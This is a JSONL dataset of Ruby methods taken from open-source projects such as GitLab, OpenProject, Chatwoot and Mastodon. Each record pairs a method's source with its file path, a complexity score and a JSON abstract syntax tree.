{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/container_common.rb","start_line":61,"raw_source":"def container_image\n      ENV[\"BASE_WORKER_IMAGE\"] || default_image\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"container_image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BASE_WORKER_IMAGE\"]}]},{\"type\":\"send\",\"children\":[null,\"default_image\"]}]}]}","id":"c0d382fe-c191-4d08-9dee-4820d2bc672d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/item_component/details.rb","start_line":219,"raw_source":"def render_journal_details(details_container_inner)\n          journal_details.each do |detail|\n            rendered_detail = journal.render_detail(detail)\n            render_single_detail(details_container_inner, rendered_detail) if rendered_detail.present?\n          end\n        end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"render_journal_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"details_container_inner\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal_details\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"detail\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rendered_detail\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"render_detail\",{\"type\":\"lvar\",\"children\":[\"detail\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rendered_detail\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"render_single_detail\",{\"type\":\"lvar\",\"children\":[\"details_container_inner\"]},{\"type\":\"lvar\",\"children\":[\"rendered_detail\"]}]},null]}]}]}]}","id":"9839a09c-08c5-4d19-bb4c-5a0d5a319899"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/companies_controller.rb","start_line":20,"raw_source":"def destroy\n    @company.destroy!\n    head :ok\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@company\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"87e9cd25-d05f-4b0c-a35e-e93c164a2778"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/bisect/example_minimizer_spec.rb","start_line":142,"raw_source":"def new_minimizer(runner, reporter=RSpec::Core::NullReporter)\n      shell_command = Bisect::ShellCommand.new([])\n      Bisect::ExampleMinimizer.new(shell_command, runner, reporter)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_minimizer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]},{\"type\":\"optarg\",\"children\":[\"reporter\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"NullReporter\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shell_command\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bisect\"]},\"ShellCommand\"]},\"new\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bisect\"]},\"ExampleMinimizer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"shell_command\"]},{\"type\":\"lvar\",\"children\":[\"runner\"]},{\"type\":\"lvar\",\"children\":[\"reporter\"]}]}]}]}","id":"5d5d4617-5407-42b8-9941-06edac593e64"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/dispatchers/dispatcher.rb","start_line":15,"raw_source":"def dispatch(event_name, timestamp, data, _async = false)\n    @sync_dispatcher.dispatch(event_name, timestamp, data)\n    @async_dispatcher.dispatch(event_name, timestamp, data)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dispatch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"arg\",\"children\":[\"timestamp\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"optarg\",\"children\":[\"_async\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_dispatcher\"]},\"dispatch\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@async_dispatcher\"]},\"dispatch\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"0a273210-56b4-4385-ab19-0b199f7811e3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/register.rb","start_line":72,"raw_source":"def list_exporter(model, format)\n        lists[model.to_s].detect { |exporter| exporter.key == format }\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"list_exporter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lists\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"to_s\"]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exporter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exporter\"]},\"key\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}","id":"0809d218-f9b4-4c07-b19c-cae45288cc96"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/edit_field.rb","start_line":224,"raw_source":"def unset_value(content = nil, multi: false)\n    activate!\n    scroll_to_element(input_element)\n\n    if autocompleter_field?\n      if multi\n        page.find(\".ng-value-label\", visible: :all, text: content).sibling(\".ng-value-icon\").click\n      else\n        ng_select_clear(field_container)\n      end\n    else\n      input_element.set(\"\")\n    end\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"unset_value\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"content\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"multi\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activate!\"]},{\"type\":\"send\",\"children\":[null,\"scroll_to_element\",{\"type\":\"send\",\"children\":[null,\"input_element\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocompleter_field?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multi\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".ng-value-label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]},\"sibling\",{\"type\":\"str\",\"children\":[\".ng-value-icon\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"ng_select_clear\",{\"type\":\"send\",\"children\":[null,\"field_container\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_element\"]},\"set\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"af4c83b7-a667-4d21-9ba6-b782f9c05ac5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/share_lock_test.rb","start_line":273,"raw_source":"def test_compatible_exclusives_cooperate_to_both_proceed\n    ready = Concurrent::CyclicBarrier.new(2)\n    done = Concurrent::CyclicBarrier.new(2)\n\n    threads = 2.times.map do\n      Thread.new do\n        @lock.sharing do\n          ready.wait\n          @lock.exclusive(purpose: :x, compatible: [:x], after_compatible: [:x]) { }\n          done.wait\n        end\n      end\n    end\n\n    assert_threads_not_stuck threads\n  end","complexity_score":20.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_compatible_exclusives_cooperate_to_both_proceed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ready\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CyclicBarrier\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"done\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CyclicBarrier\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},\"map\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"sharing\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done\"]},\"wait\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"threads\"]}]}]}]}","id":"529e0875-e349-47ae-993a-07dae2e75e7f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/placement_group.rb","start_line":84,"raw_source":"def raw_delete_placement_group\n    raise NotImplementedError, _(\"raw_delete_placement_group must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_delete_placement_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"raw_delete_placement_group must be implemented in a subclass\"]}]}]}]}","id":"b5d4cd73-c270-4e25-ba75-6262eb909495"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/feed_element_installer.rb","start_line":18,"raw_source":"def initialize(element_name, feed)\n    @feed = feed\n    @original_name = element_name\n    @element_namespace, @element_name = *element_name.split(\":\")\n    @element_accessor = \"#{@element_namespace}_#{@element_name}\"\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element_name\"]},{\"type\":\"arg\",\"children\":[\"feed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@feed\",{\"type\":\"lvar\",\"children\":[\"feed\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@original_name\",{\"type\":\"lvar\",\"children\":[\"element_name\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@element_namespace\"]},{\"type\":\"ivasgn\",\"children\":[\"@element_name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element_name\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@element_accessor\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@element_namespace\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@element_name\"]}]}]}]}]}]}","id":"a6318b18-20b1-4638-b467-1d12caa1e5fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data.rb","start_line":363,"raw_source":"def usage_activity_by_stage_verify(time_period)\n        {\n          ci_builds: distinct_count(::Ci::Build.where(time_period), :user_id),\n          ci_external_pipelines: distinct_count(::Ci::Pipeline.external.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),\n          ci_internal_pipelines: distinct_count(::Ci::Pipeline.internal.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),\n          ci_pipeline_config_auto_devops: distinct_count(::Ci::Pipeline.auto_devops_source.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),\n          ci_pipeline_config_repository: distinct_count(::Ci::Pipeline.repository_source.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),\n          ci_pipeline_schedules: distinct_count(::Ci::PipelineSchedule.where(time_period), :owner_id),\n          ci_pipelines: distinct_count(::Ci::Pipeline.where(time_period), :user_id, start: minimum_id(User), finish: maximum_id(User)),\n          ci_triggers: distinct_count(::Ci::Trigger.where(time_period), :owner_id)\n        }\n      end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"usage_activity_by_stage_verify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time_period\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_builds\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_external_pipelines\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"external\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[null,\"minimum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finish\"]},{\"type\":\"send\",\"children\":[null,\"maximum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_internal_pipelines\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"internal\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[null,\"minimum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finish\"]},{\"type\":\"send\",\"children\":[null,\"maximum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_pipeline_config_auto_devops\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"auto_devops_source\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[null,\"minimum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finish\"]},{\"type\":\"send\",\"children\":[null,\"maximum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_pipeline_config_repository\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"repository_source\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[null,\"minimum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finish\"]},{\"type\":\"send\",\"children\":[null,\"maximum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_pipeline_schedules\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PipelineSchedule\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"owner_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_pipelines\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[null,\"minimum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finish\"]},{\"type\":\"send\",\"children\":[null,\"maximum_id\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_triggers\"]},{\"type\":\"send\",\"children\":[null,\"distinct_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Trigger\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]},{\"type\":\"sym\",\"children\":[\"owner_id\"]}]}]}]}]}","id":"72e26b55-5b1a-4de8-9bc8-94745ded42f3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/platform/api/v1/agent_bots_controller.rb","start_line":43,"raw_source":"def process_avatar_from_url\n    ::Avatar::AvatarFromUrlJob.perform_later(@resource, params[:avatar_url]) if params[:avatar_url].present?\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_avatar_from_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"avatar_url\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Avatar\"]},\"AvatarFromUrlJob\"]},\"perform_later\",{\"type\":\"ivar\",\"children\":[\"@resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"avatar_url\"]}]}]},null]}]}","id":"4ce9a330-7197-4444-adc7-43adf5b70c39"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/moderations/article_fetcher_service.rb","start_line":35,"raw_source":"def build_base_query\n      # Use feed lookback setting to limit articles to recent ones only\n      lookback_setting = Settings::UserExperience.feed_lookback_days.to_i\n      lookback = lookback_setting.positive? ? lookback_setting.days.ago : 10.days.ago\n      \n      Article.published\n        .from_subforem\n        .includes(:user) # Eager load to avoid N+1\n        .where(\"articles.score >= ?\", MINIMUM_ARTICLE_SCORE)\n        .where(\"articles.published_at > ?\", lookback) # Only recent articles\n        .order(published_at: :desc)\n        .limit(50)\n    end","complexity_score":22.88,"ast_json":"{\"type\":\"def\",\"children\":[\"build_base_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lookback_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"UserExperience\"]},\"feed_lookback_days\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lookback\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lookback_setting\"]},\"positive?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lookback_setting\"]},\"days\"]},\"ago\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"days\"]},\"ago\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"from_subforem\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"articles.score >= ?\"]},{\"type\":\"const\",\"children\":[null,\"MINIMUM_ARTICLE_SCORE\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"articles.published_at > ?\"]},{\"type\":\"lvar\",\"children\":[\"lookback\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[50]}]}]}]}","id":"40469bf6-96d6-498c-89a1-f498a682973d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/presenters/grouped_notifications_presenter.rb","start_line":4,"raw_source":"def initialize(grouped_notifications, options = {})\n    super()\n\n    @grouped_notifications = grouped_notifications\n    @options = options\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"grouped_notifications\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@grouped_notifications\",{\"type\":\"lvar\",\"children\":[\"grouped_notifications\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"8a999522-1df7-4612-a3bd-d2a6cbfc4143"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/trigger-build.rb","start_line":79,"raw_source":"def simple_forwarded_variables\n      {\n        'TRIGGER_SOURCE' => ENV['CI_JOB_URL'],\n        'TOP_UPSTREAM_SOURCE_PROJECT' => ENV['CI_PROJECT_PATH'],\n        'TOP_UPSTREAM_SOURCE_REF' => ENV['CI_COMMIT_REF_NAME'],\n        'TOP_UPSTREAM_SOURCE_JOB' => ENV['CI_JOB_URL'],\n        'TOP_UPSTREAM_MERGE_REQUEST_PROJECT_ID' => ENV['CI_MERGE_REQUEST_PROJECT_ID'],\n        'TOP_UPSTREAM_MERGE_REQUEST_IID' => ENV['CI_MERGE_REQUEST_IID']\n      }\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"simple_forwarded_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TRIGGER_SOURCE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_JOB_URL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TOP_UPSTREAM_SOURCE_PROJECT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_PROJECT_PATH\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TOP_UPSTREAM_SOURCE_REF\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_COMMIT_REF_NAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TOP_UPSTREAM_SOURCE_JOB\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_JOB_URL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TOP_UPSTREAM_MERGE_REQUEST_PROJECT_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_MERGE_REQUEST_PROJECT_ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"TOP_UPSTREAM_MERGE_REQUEST_IID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_MERGE_REQUEST_IID\"]}]}]}]}]}","id":"60f2547d-fb18-497c-8441-b0c795dd8579"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/merge_service.rb","start_line":164,"raw_source":"def merge_status\n      @merge_status ||= @merge_request.merge_status\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"merge_status\"]}]}]}","id":"60d5c509-512f-4844-aed0-c9d46523dee4"}
